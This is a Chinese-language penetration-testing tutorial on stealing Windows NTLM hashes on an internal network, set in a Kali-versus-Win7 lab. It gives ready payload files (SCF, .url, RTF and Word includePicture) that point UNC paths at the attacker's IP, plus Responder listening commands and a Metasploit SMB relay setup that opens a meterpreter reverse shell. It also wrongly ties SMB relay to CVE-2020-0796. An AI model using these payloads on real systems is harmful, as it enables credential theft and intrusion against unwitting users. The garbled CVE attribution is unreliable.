內網滲透hash竊取技巧
前言
在內網滲透的過程中,最重要的就是信息搜集,但是在極端情況下我們找不到能夠橫或者跨域的機器,那么這時候我們就可以嘗試做一個水坑,來嘗試獲取hash。當然這只是理想情況,在愈發強調對抗的當下,利用水坑釣魚也變得不是那么簡單。
本地認證
既然是獲取hash就需要一些基礎知識,這里首先說以下本地認證。在Windows中,密碼Hash稱之為NTLM Hash,這個NTLM是一種網絡認證協議,與NTLM Hash的關系就是:NTLM網絡認證協議是以NTLM Hash作為根本憑證進行認證的協議。在本地認證的過程中,其實就是將用戶輸入的密碼轉換為NTLM Hash與SAM中的NTLM Hash進行比較
假設我的密碼是admin,那么操作系統會將admin轉換為十六進制,經過Unicode轉換后,再調用MD4加密算法加密,這個加密結果的十六進制就是NTLM Hash
admin -> hex(16進制編碼) = 61646d696e
61646d696e -> Unicode = 610064006d0069006e00 610064006d0069006e00 -> MD4 = 209c6174da490caeb422f3fa5a7ae634
本地認證中主要可以概括為以下三步:winlogon.exe -> 接收用戶輸入 -> lsass.exe -> (認證)
首先,用戶注銷、重啟、鎖屏后,操作系統會讓winlogon顯示登錄界面,也就是輸入框,接收輸入后,將密碼交給lsass進程,這個進程中會存一份明文密碼,將明文密碼加密成NTLM Hash,對SAM數據庫比較認證。
SCF文件
首先簡單的說一下什么是scf文件
Microsoft Windows 是使用Windows Explorer Command 文件的主要軟件程序,該文件最初由 Microsoft Corporation開發。網站訪問者分析表明,SCF 文件通常在 Windows 10 用戶計算機上找到,在 United States中最受歡迎。統計上,這些用戶很可能正在運行Google Chrome internet瀏覽器。
其實是UNC路徑
UNC,即Universal Naming Convention,意為通用命名規則。UNC路徑就是類似\softer這樣的形式的網絡路徑,unc共享就是指網絡硬盤的共享:
當訪問softer計算機中名為it168的共享文件夾,用UNC表示就是\softer\it168;如果是softer計算機的默認管理共享C$則用\softer\c$來表示。
可以使用SCF文件執行有限的一組操作(例如顯示Windows桌面或打開Windows資源管理器)。但是,如果使用SCF文件訪問特定的UNC路徑,那么我們可以發起攻擊
這里簡單介紹下環境
攻擊機kali:192.168.10.11
靶機win7:192.168.10.15
首先生成一個SCF文件
[Shell] Command=2 IconFile=\\192.168.10.11\share\pentestlab.ico [Taskbar] Command=ToggleDesktop

然后將這個scf文件設置為共享狀態

然后使用kali上的responder進行監聽操作
responder -I eth0
這里簡單說一下responder,Responder是監聽LLMNR和NetBIOS協議的工具之一,能夠抓取網絡中所有的LLMNR和NetBIOS請求并進行響應,獲取最初的賬戶憑證。
Responder會利用內置SMB認證服務器、MSSQL認證服務器、HTTP認證服務器、HTTPS認證服務器、LDAP認證服務器,DNS服務器、WPAD代理服務器,以及FTP、POP3、IMAP、SMTP等服務器,收集目標網絡中的明文憑據,還可以通過Multi-Relay功能在目標系統中執行命令。

當目標機器只要訪問這個scf文件之后我們就可以拿到它的NTLM hash,注意這里不需要點擊也可以得到,只需要能夠訪問即可
當用戶瀏覽共享時,將自動從他的系統建立到SCF文件中包含的UNC路徑的連接。Windows將嘗試使用用戶名和密碼對共享進行身份驗證。在該身份驗證過程中,服務器會向客戶端發送一個隨機的8字節質詢密鑰,并使用此質詢密鑰再次加密散列的NTLM/ LANMAN密碼,我們將捕獲NTLMv2哈希。

smb中繼
直接使用SCF進行攻擊的一個好處就是不需要跟任何用戶進行交互并且能夠使用戶強制進行NTLMv2 hash進行協商。這里也可以跟smb中繼技術相結合,得到一個meterpreter
使用smb中繼有一個比較有名的漏洞就是CVE-2020-0796,要想了解smb中繼首先需要知道NTLM v2的認證流程
1.客戶端向服務器發送登錄請求,密碼在客戶端被 hash 一次 2.客戶端向服務器發送 username 3.服務器返回一個 16 字節的挑戰碼(Challenge),并將已存儲的用戶密碼 hash 加密這個 Challenge,生成 Challenge1 4.客戶端將第一步 hash 的密碼與 Challenge 再進行 hash 一次,生成 response 即 Challenge2 5.客戶端將 response 發送給服務器 6.服務器比較 Challenge1 和 response,相同則認證成功

這里了解了NTLM的認證原理,那么smb中繼就簡單了,這里攻擊者加在了中間,不斷的截獲流量并重放流量

使用exploit/windows/smb/smb_relay進行監聽,同上操作即可拿到一個meterpreter
use exploit/windows/smb/smb_relay set payload windows/meterpreter/reverse_tcp set LHOST 192.168.10.11 run


使用超鏈接
這里使用超鏈接竊取hash的原理跟LLMNR欺騙有類似之處,都是訪問一個不存在的路徑/程序,從而達到在本地子網發送請求的效果。這里就不擴展說LLMNR欺騙了,有興趣的小伙伴可自行搜索
生成一個超鏈接,編輯超鏈接指向kali,注意這個qwe.exe在kali上是不存在的
\\192.168.10.11\qwe.exe

開啟監聽
responder -I eth0

當靶機打開這個超鏈接之后我們就能得到hash值

使用url
原理跟使用超鏈接類似,讓靶機去訪問IconFile=\\192.168.10.11\qwe.icon,即一個不存在的文件
生成一個test1.url,內容如下
c:\link.url@victim [InternetShortcut] URL=whatever //url內容 WorkingDirectory=whatever //url名稱 IconFile=\\192.168.10.11\qwe.icon IconIndex=1
使用responder進行監聽
responder -I eth0

注意這里如果使用url的話會有點明顯,會有一個uac界面的提醒,會增加被發現的可能

這里假裝受害者比較笨點了這個url如下圖所示

就會得到靶機的ntlm hash

使用RTF
何為rtf?
****富文本格式**(**Rich Text Format**)即**RTF格式**,又稱*多文本格式*,是由微軟公司開發的跨平臺文檔格式。大多數的文字處理軟件都能讀取和保存RTF文檔。
富文本格式 (RTF) 是一種方便于不同的設備、系統查看的文本和圖形文檔格式。
rtf文件的創建主要是為了方便在不同操作系統下創建的文件能夠在多個操作系統之間進行傳輸和查看
生成一個test2.rtf,內容如下所示
{\rtf1{\field{\*\fldinst {INCLUDEPICTURE "file://192.168.10.11/test.jpg" \\* MERGEFORMAT\\d}}{\fldrslt}}}
這里出了點問題,好像是因為我是win7沒有裝word,所以rtf文件格式顯示不出來,這里如果使用word打開是能夠抓到hash的,這里就不演示了

沒有抓到hash...

通過IncludePicture
何為IncludePicture?IncludePicture就相當于一個windows為了方便插入多個圖片而設計的一個功能
這里使用ctfl + F9可以得到一個{ includePicture },我們在后面加上一個不存在的地址,組合起來就為{ includePicture "\\192.168.10.11\test.jpg"}

保存為一個xml文件

上傳到靶機啟動即可竊取hash
